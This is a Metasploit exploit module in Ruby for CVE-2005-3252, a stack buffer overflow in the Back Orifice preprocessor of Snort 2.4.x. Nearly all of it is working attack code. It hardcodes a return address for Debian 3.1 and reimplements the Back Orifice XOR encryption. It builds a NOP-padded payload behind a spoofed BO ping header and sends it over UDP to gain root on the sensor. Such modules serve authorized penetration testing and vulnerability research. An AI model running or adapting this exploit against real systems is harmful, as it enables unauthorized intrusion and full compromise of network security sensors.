1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GoodRanking
8

9
  include Msf::Exploit::Remote::Udp
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Snort Back Orifice Pre-Preprocessor Buffer Overflow',
16
        'Description' => %q{
17
          This module exploits a stack buffer overflow in the Back Orifice pre-processor module
18
          included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could
19
          be used to completely compromise a Snort sensor, and would typically gain an attacker
20
          full root or administrative privileges.
21
        },
22
        'Author' => 'KaiJern Lau <xwings[at]mysec.org>',
23
        'License' => BSD_LICENSE,
24
        'References' => [
25
          ['CVE', '2005-3252'],
26
          ['OSVDB', '20034'],
27
          ['BID', '15131']
28
        ],
29
        'Payload' => {
30
          'Space' => 1073, # ret : 1069
31
          'BadChars' => "\x00"
32
        },
33
        'Platform' => %w[linux],
34
        'Targets' => [
35
          # Target 0: Debian 3.1 Sarge
36
          [
37
            'Debian 3.1 Sarge',
38
            {
39
              'Platform' => 'linux',
40
              'Ret' => 0xbffff350
41
            }
42
          ],
43
        ],
44
        'DefaultTarget' => 0,
45
        'DisclosureDate' => '2005-10-18',
46
        'Notes' => {
47
          'Stability' => [],
48
          'SideEffects' => [IOC_IN_LOGS],
49
          'Reliability' => []
50
        }
51
      )
52
    )
53

54
    register_options(
55
      [
56
        Opt::RPORT(9080),
57
      ]
58
    )
59
  end
60

61
  def msrand(_seed)
62
    @holdrand = 31337
63
  end
64

65
  def mrand
66
    return (((@holdrand = @holdrand * (214013 & 0xffffffff) + (2531011 & 0xffffffff)) >> 16) & 0x7fff)
67
  end
68

69
  def bocrypt(takepayload)
70
    @arrpayload = takepayload.split(//)
71

72
    encpayload = ''
73
    @holdrand = 0
74
    msrand(0)
75

76
    @arrpayload.each do |c|
77
      encpayload += c.unpack('C*').map { |v| (v ^ (mrand % 256)) }.join.to_i.chr
78
    end
79

80
    return encpayload
81
  end
82

83
  def exploit
84
    connect_udp
85

86
    boheader =
87
      '*!*QWTY?' +
88
      [1096].pack('V') +   # Length, thanx Russell Sanford
89
      "\xed\xac\xef\x0d" + # ID
90
      "\x01"               # PING
91

92
    filler = make_nops(1069 - (boheader.length + payload.encode.length))
93

94
    udp_sock.write(
95
      bocrypt(boheader + payload.encode + filler + [target.ret].pack('V'))
96
    )
97

98
    handler
99
    disconnect_udp
100
  end
101
end
102

103